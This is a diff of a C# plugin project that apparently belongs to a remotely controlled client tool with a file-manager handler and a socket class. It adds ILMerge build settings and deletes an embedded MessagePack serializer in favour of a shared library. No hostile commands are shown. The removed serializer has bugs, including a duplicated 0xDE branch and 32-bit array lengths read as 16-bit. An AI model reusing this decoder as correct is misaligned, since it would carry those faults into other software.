<Compile Include="Handler\FileManager.cs" />
<Compile Include="MessagePack\BytesTools.cs" />
<Compile Include="MessagePack\MsgPack.cs" />
<Compile Include="MessagePack\MsgPackType.cs" />
<Compile Include="MessagePack\ReadTools.cs" />
<Compile Include="MessagePack\WriteTools.cs" />
<Compile Include="Packet.cs" />
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="TempSocket.cs" />
<Compile Include="Zip.cs" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\..\..\MessagePack\MessagePackLib.csproj">
<Project>{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}</Project>
<Name>MessagePackLib</Name>
</ProjectReference>
</ItemGroup>
<ItemGroup>
<None Include="ILMerge.props" />
<None Include="packages.config" />
</ItemGroup>
<ItemGroup>
<Content Include="ILMergeOrder.txt" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
</PropertyGroup>
<Error Condition="!Exists('..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props'))" />
<Error Condition="!Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props'))" />
<Error Condition="!Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets'))" />
</Target>
<Import Project="..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets" Condition="Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" />
</Project>

View File

@ -5,7 +5,7 @@ using System.IO;
using System.Text;
using System.Diagnostics;
using System.Threading;
using Plugin.MessagePack;
using MessagePackLib.MessagePack;
namespace Plugin.Handler
{

View File

@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8" ?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<!-- -->
<!-- ILMerge project-specific settings. Almost never need to be set explicitly. -->
<!-- for details, see http://research.microsoft.com/en-us/people/mbarnett/ilmerge.aspx -->
<!-- -->
<!-- *** set this file to Type=None, CopyToOutput=Never *** -->
<!-- If True, all copy local dependencies will also be merged from referenced projects whether they are referenced in the current project explicitly or not -->
<ILMergeTransitive>true</ILMergeTransitive>
<!-- Extra ILMerge library paths (semicolon-separated). Dont put your package dependencies here, they will be added automagically -->
<ILMergeLibraryPath></ILMergeLibraryPath>
<!-- The solution NuGet package directory if not standard 'SOLUTION\packages' -->
<ILMergePackagesPath></ILMergePackagesPath>
<!-- The merge order file name if differs from standard 'ILMergeOrder.txt' -->
<ILMergeOrderFile></ILMergeOrderFile>
<!-- The strong key file name if not specified in the project -->
<ILMergeKeyFile></ILMergeKeyFile>
<!-- The assembly version if differs for the version of the main assembly -->
<ILMergeAssemblyVersion></ILMergeAssemblyVersion>
<!-- added in Version 1.0.4 -->
<ILMergeFileAlignment></ILMergeFileAlignment>
<!-- added in Version 1.0.4, default=none -->
<ILMergeAllowDuplicateType></ILMergeAllowDuplicateType>
<!-- If the <see cref="CopyAttributes"/> is also set, any assembly-level attributes names that have the same type are copied over into the target assembly -->
<ILMergeAllowMultipleAssemblyLevelAttributes></ILMergeAllowMultipleAssemblyLevelAttributes>
<!-- See ILMerge documentation -->
<ILMergeAllowZeroPeKind></ILMergeAllowZeroPeKind>
<!-- The assembly level attributes of each input assembly are copied over into the target assembly -->
<ILMergeCopyAttributes></ILMergeCopyAttributes>
<!-- Creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies, default=true -->
<ILMergeDebugInfo>false</ILMergeDebugInfo>
<!-- Target assembly will be delay signed -->
<ILMergeDelaySign></ILMergeDelaySign>
<!-- Types in assemblies other than the primary assembly have their visibility modified -->
<ILMergeInternalize></ILMergeInternalize>
<!-- The path name of the file that will be used to identify types that are not to have their visibility modified -->
<ILMergeInternalizeExcludeFile></ILMergeInternalizeExcludeFile>
<!-- XML documentation files are merged to produce an XML documentation file for the target assembly -->
<ILMergeXmlDocumentation></ILMergeXmlDocumentation>
<!-- External assembly references in the manifest of the target assembly will use full public keys (false) or public key tokens (true, default value) -->
<ILMergePublicKeyTokens></ILMergePublicKeyTokens>
<!-- Types with the same name are all merged into a single type in the target assembly -->
<ILMergeUnionMerge></ILMergeUnionMerge>
<!-- The version of the target framework, default 40 (works for 45 too) -->
<ILTargetPlatform></ILTargetPlatform>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,4 @@
# this file contains the partial list of the merged assemblies in the merge order
# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build
# and finetune merge order to your satisfaction

View File

@ -1,102 +0,0 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class BytesTools
{
static UTF8Encoding utf8Encode = new UTF8Encoding();
public static byte[] GetUtf8Bytes(String s)
{
return utf8Encode.GetBytes(s);
}
public static String GetString(byte[] utf8Bytes)
{
return utf8Encode.GetString(utf8Bytes);
}
public static String BytesAsString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:D3} ", b));
}
return sb.ToString();
}
public static String BytesAsHexString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:X2} ", b));
}
return sb.ToString();
}
/// <summary>
/// 交换byte数组数据
/// 可用于高低数据交换
/// </summary>
/// <param name="v">要交换的byte数组</param>
/// <returns>返回交换后的数据</returns>
public static byte[] SwapBytes(byte[] v)
{
byte[] r = new byte[v.Length];
int j = v.Length - 1;
for (int i = 0; i < r.Length; i++)
{
r[i] = v[j];
j--;
}
return r;
}
public static byte[] SwapInt64(Int64 v)
{
//byte[] r = new byte[8];
//r[7] = (byte)v;
//r[6] = (byte)(v >> 8);
//r[5] = (byte)(v >> 16);
//r[4] = (byte)(v >> 24);
//r[3] = (byte)(v >> 32);
//r[2] = (byte)(v >> 40);
//r[1] = (byte)(v >> 48);
//r[0] = (byte)(v >> 56);
return SwapBytes(BitConverter.GetBytes(v));
}
public static byte[] SwapInt32(Int32 v)
{
byte[] r = new byte[4];
r[3] = (byte)v;
r[2] = (byte)(v >> 8);
r[1] = (byte)(v >> 16);
r[0] = (byte)(v >> 24);
return r;
}
public static byte[] SwapInt16(Int16 v)
{
byte[] r = new byte[2];
r[1] = (byte)v;
r[0] = (byte)(v >> 8);
return r;
}
public static byte[] SwapDouble(Double v)
{
return SwapBytes(BitConverter.GetBytes(v));
}
}
}

View File

@ -1,927 +0,0 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class MsgPackEnum : IEnumerator
{
List<MsgPack> children;
int position = -1;
public MsgPackEnum(List<MsgPack> obj)
{
children = obj;
}
object IEnumerator.Current
{
get { return children[position]; }
}
bool IEnumerator.MoveNext()
{
position++;
return (position < children.Count);
}
void IEnumerator.Reset()
{
position = -1;
}
}
public class MsgPackArray
{
List<MsgPack> children;
MsgPack owner;
public MsgPackArray(MsgPack msgpackObj, List<MsgPack> listObj)
{
owner = msgpackObj;
children = listObj;
}
public MsgPack Add()
{
return owner.AddArrayChild();
}
public MsgPack Add(String value)
{
MsgPack obj = owner.AddArrayChild();
obj.AsString = value;
return obj;
}
public MsgPack Add(Int64 value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsInteger(value);
return obj;
}
public MsgPack Add(Double value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsFloat(value);
return obj;
}
public MsgPack this[int index]
{
get { return children[index]; }
}
public int Length
{
get { return children.Count; }
}
}
public class MsgPack : IEnumerable
{
string name;
string lowerName;
object innerValue;
MsgPackType valueType;
MsgPack parent;
List<MsgPack> children = new List<MsgPack>();
MsgPackArray refAsArray = null;
private void SetName(string value)
{
this.name = value;
this.lowerName = name.ToLower();
}
private void Clear()
{
for (int i = 0; i < children.Count; i++)
{
((MsgPack)children[i]).Clear();
}
children.Clear();
}
private MsgPack InnerAdd()
{
MsgPack r = new MsgPack();
r.parent = this;
this.children.Add(r);
return r;
}
private int IndexOf(string name)
{
int i = -1;
int r = -1;
string tmp = name.ToLower();
foreach (MsgPack item in children)
{
i++;
if (tmp.Equals(item.lowerName))
{
r = i;
break;
}
}
return r;
}
public MsgPack FindObject(string name)
{
int i = IndexOf(name);
if (i == -1)
{
return null;
}
else
{
return this.children[i];
}
}
private MsgPack InnerAddMapChild()
{
if (valueType != MsgPackType.Map)
{
Clear();
this.valueType = MsgPackType.Map;
}
return InnerAdd();
}
private MsgPack InnerAddArrayChild()
{
if (valueType != MsgPackType.Array)
{
Clear();
this.valueType = MsgPackType.Array;
}
return InnerAdd();
}
public MsgPack AddArrayChild()
{
return InnerAddArrayChild();
}
private void WriteMap(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x80 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDE;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDF;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
WriteTools.WriteString(ms, children[i].name);
children[i].Encode2Stream(ms);
}
}
private void WirteArray(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x90 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDC;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDD;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
((MsgPack)children[i]).Encode2Stream(ms);
}
}
public void SetAsInteger(Int64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.Integer;
}
public void SetAsUInt64(UInt64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.UInt64;
}
public UInt64 GetAsUInt64()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToUInt64((Int64)this.innerValue);
case MsgPackType.UInt64:
return (UInt64)this.innerValue;
case MsgPackType.String:
return UInt64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToUInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToUInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToUInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Int64 GetAsInteger()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return (Int64)this.innerValue;
case MsgPackType.UInt64:
return Convert.ToInt64((Int64)this.innerValue);
case MsgPackType.String:
return Int64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Double GetAsFloat()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToDouble((Int64)this.innerValue);
case MsgPackType.String:
return Double.Parse((String)this.innerValue);
case MsgPackType.Float:
return (Double)this.innerValue;
case MsgPackType.Single:
return (Single)this.innerValue;
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public void SetAsBytes(byte[] value)
{
this.innerValue = value;
this.valueType = MsgPackType.Binary;
}
public byte[] GetAsBytes()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return BitConverter.GetBytes((Int64)this.innerValue);
case MsgPackType.String:
return BytesTools.GetUtf8Bytes(this.innerValue.ToString());
case MsgPackType.Float:
return BitConverter.GetBytes((Double)this.innerValue);
case MsgPackType.Single:
return BitConverter.GetBytes((Single)this.innerValue);
case MsgPackType.DateTime:
long dateval = ((DateTime)this.innerValue).ToBinary();
return BitConverter.GetBytes(dateval);
case MsgPackType.Binary:
return (byte[])this.innerValue;
default:
return new byte[] { };
}
}
public void Add(string key, String value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsString(value);
}
public void Add(string key, int value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsInteger(value);
}
public bool LoadFileAsBytes(string fileName)
{
if (File.Exists(fileName))
{
byte[] value = null;
FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
value = new byte[fs.Length];
fs.Read(value, 0, (int)fs.Length);
fs.Close();
fs.Dispose();
SetAsBytes(value);
return true;
}
else
{
return false;
}
}
public bool SaveBytesToFile(string fileName)
{
if (this.innerValue != null)
{
FileStream fs = new FileStream(fileName, FileMode.Append);
fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length);
fs.Close();
fs.Dispose();
return true;
}
else
{
return false;
}
}
public MsgPack ForcePathObject(string path)
{
MsgPack tmpParent, tmpObject;
tmpParent = this;
string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' });
string tmp = null;
if (pathList.Length == 0)
{
return null;
}
else if (pathList.Length > 1)
{
for (int i = 0; i < pathList.Length - 1; i++)
{
tmp = pathList[i];
tmpObject = tmpParent.FindObject(tmp);
if (tmpObject == null)
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
}
else
{
tmpParent = tmpObject;
}
}
}
tmp = pathList[pathList.Length - 1];
int j = tmpParent.IndexOf(tmp);
if (j > -1)
{
return tmpParent.children[j];
}
else
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
return tmpParent;
}
}
public void SetAsNull()
{
Clear();
this.innerValue = null;
this.valueType = MsgPackType.Null;
}
public void SetAsString(String value)
{
this.innerValue = value;
this.valueType = MsgPackType.String;
}
public String GetAsString()
{
if (this.innerValue == null)
{
return "";
}
else
{
return this.innerValue.ToString();
}
}
public void SetAsBoolean(Boolean bVal)
{
this.valueType = MsgPackType.Boolean;
this.innerValue = bVal;
}
public void SetAsSingle(Single fVal)
{
this.valueType = MsgPackType.Single;
this.innerValue = fVal;
}
public void SetAsFloat(Double fVal)
{
this.valueType = MsgPackType.Float;
this.innerValue = fVal;
}
public void DecodeFromBytes(byte[] bytes)
{
using (MemoryStream ms = new MemoryStream())
{
bytes = Zip.Decompress(bytes);
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
}
}
public void DecodeFromFile(string fileName)
{
FileStream fs = new FileStream(fileName, FileMode.Open);
DecodeFromStream(fs);
fs.Dispose();
}
public void DecodeFromStream(Stream ms)
{
byte lvByte = (byte)ms.ReadByte();
byte[] rawByte = null;
MsgPack msgPack = null;
int len = 0;
int i = 0;
if (lvByte <= 0x7F)
{ //positive fixint 0xxxxxxx 0x00 - 0x7f
SetAsInteger(lvByte);
}
else if ((lvByte >= 0x80) && (lvByte <= 0x8F))
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Map;
len = lvByte - 0x80;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Array;
len = lvByte - 0x90;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf
{
len = lvByte - 0xA0;
SetAsString(ReadTools.ReadString(ms, len));
}
else if ((lvByte >= 0xE0) && (lvByte <= 0xFF))
{ /// -1..-32
// negative fixnum stores 5-bit negative integer
// +--------+
// |111YYYYY|
// +--------+
SetAsInteger((sbyte)lvByte);
}
else if (lvByte == 0xC0)
{
SetAsNull();
}
else if (lvByte == 0xC1)
{
throw new Exception("(never used) type $c1");
}
else if (lvByte == 0xC2)
{
SetAsBoolean(false);
}
else if (lvByte == 0xC3)
{
SetAsBoolean(true);
}
else if (lvByte == 0xC4)
{ // max 255
len = ms.ReadByte();
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC5)
{ // max 65535
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToUInt16(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC6)
{ // binary max: 2^32-1
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9))
{
throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9");
}
else if (lvByte == 0xCA)
{ // float 32
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsSingle(BitConverter.ToSingle(rawByte, 0));
}
else if (lvByte == 0xCB)
{ // float 64
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsFloat(BitConverter.ToDouble(rawByte, 0));
}
else if (lvByte == 0xCC)
{ // uint8
// uint 8 stores a 8-bit unsigned integer
// +--------+--------+
// | 0xcc |ZZZZZZZZ|
// +--------+--------+
lvByte = (byte)ms.ReadByte();
SetAsInteger(lvByte);
}
else if (lvByte == 0xCD)
{ // uint16
// uint 16 stores a 16-bit big-endian unsigned integer
// +--------+--------+--------+
// | 0xcd |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt16(rawByte, 0));
}
else if (lvByte == 0xCE)
{
// uint 32 stores a 32-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+
// | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt32(rawByte, 0));
}
else if (lvByte == 0xCF)
{
// uint 64 stores a 64-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsUInt64(BitConverter.ToUInt64(rawByte, 0));
}
else if (lvByte == 0xDC)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdc |YYYYYYYY|YYYYYYYY| N objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDD)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xD9)
{
// str 8 stores a byte array whose length is upto (2^8)-1 bytes:
// +--------+--------+========+
// | 0xd9 |YYYYYYYY| data |
// +--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDF)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDA)
{
// str 16 stores a byte array whose length is upto (2^16)-1 bytes:
// +--------+--------+--------+========+
// | 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
// +--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDB)
{
// str 32 stores a byte array whose length is upto (2^32)-1 bytes:
// +--------+--------+--------+--------+--------+========+
// | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
// +--------+--------+--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xD0)
{
// int 8 stores a 8-bit signed integer
// +--------+--------+
// | 0xd0 |ZZZZZZZZ|
// +--------+--------+
SetAsInteger((sbyte)ms.ReadByte());
}
else if (lvByte == 0xD1)
{
// int 16 stores a 16-bit big-endian signed integer
// +--------+--------+--------+
// | 0xd1 |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt16(rawByte, 0));
}
else if (lvByte == 0xD2)
{
// int 32 stores a 32-bit big-endian signed integer
// +--------+--------+--------+--------+--------+
// | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt32(rawByte, 0));
}
else if (lvByte == 0xD3)
{
// int 64 stores a 64-bit big-endian signed integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt64(rawByte, 0));
}
}
public byte[] Encode2Bytes()
{
using (MemoryStream ms = new MemoryStream())
{
Encode2Stream(ms);
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return Zip.Compress(r);
}
}
public void Encode2Stream(Stream ms)
{
switch (this.valueType)
{
case MsgPackType.Unknown:
case MsgPackType.Null:
WriteTools.WriteNull(ms);
break;
case MsgPackType.String:
WriteTools.WriteString(ms, (String)this.innerValue);
break;
case MsgPackType.Integer:
WriteTools.WriteInteger(ms, (Int64)this.innerValue);
break;
case MsgPackType.UInt64:
WriteTools.WriteUInt64(ms, (UInt64)this.innerValue);
break;
case MsgPackType.Boolean:
WriteTools.WriteBoolean(ms, (Boolean)this.innerValue);
break;
case MsgPackType.Float:
WriteTools.WriteFloat(ms, (Double)this.innerValue);
break;
case MsgPackType.Single:
WriteTools.WriteFloat(ms, (Single)this.innerValue);
break;
case MsgPackType.DateTime:
WriteTools.WriteInteger(ms, GetAsInteger());
break;
case MsgPackType.Binary:
WriteTools.WriteBinary(ms, (byte[])this.innerValue);
break;
case MsgPackType.Map:
WriteMap(ms);
break;
case MsgPackType.Array:
WirteArray(ms);
break;
default:
WriteTools.WriteNull(ms);
break;
}
}
public String AsString
{
get
{
return GetAsString();
}
set
{
SetAsString(value);
}
}
public Int64 AsInteger
{
get { return GetAsInteger(); }
set { SetAsInteger((Int64)value); }
}
public Double AsFloat
{
get { return GetAsFloat(); }
set { SetAsFloat(value); }
}
public MsgPackArray AsArray
{
get
{
lock (this)
{
if (refAsArray == null)
{
refAsArray = new MsgPackArray(this, children);
}
}
return refAsArray;
}
}
public MsgPackType ValueType
{
get { return valueType; }
}
IEnumerator IEnumerable.GetEnumerator()
{
return new MsgPackEnum(children);
}
}
}

View File

@ -1,24 +0,0 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public enum MsgPackType
{
Unknown = 0,
Null = 1,
Map = 2,
Array = 3,
String = 4,
Integer = 5,
UInt64 = 6,
Boolean = 7,
Float = 8,
Single = 9,
DateTime = 10,
Binary = 11
}
}

View File

@ -1,84 +0,0 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
class ReadTools
{
public static String ReadString(Stream ms, int len)
{
byte[] rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
public static String ReadString(Stream ms)
{
byte strFlag = (byte)ms.ReadByte();
return ReadString(strFlag, ms);
}
public static String ReadString(byte strFlag, Stream ms)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = null;
int len = 0;
if ((strFlag >= 0xA0) && (strFlag <= 0xBF))
{
len = strFlag - 0xA0;
}
else if (strFlag == 0xD9)
{
len = ms.ReadByte();
}
else if (strFlag == 0xDA)
{
rawBytes = new byte[2];
ms.Read(rawBytes, 0, 2);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToUInt16(rawBytes, 0);
}
else if (strFlag == 0xDB)
{
rawBytes = new byte[4];
ms.Read(rawBytes, 0, 4);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToInt32(rawBytes, 0);
}
rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
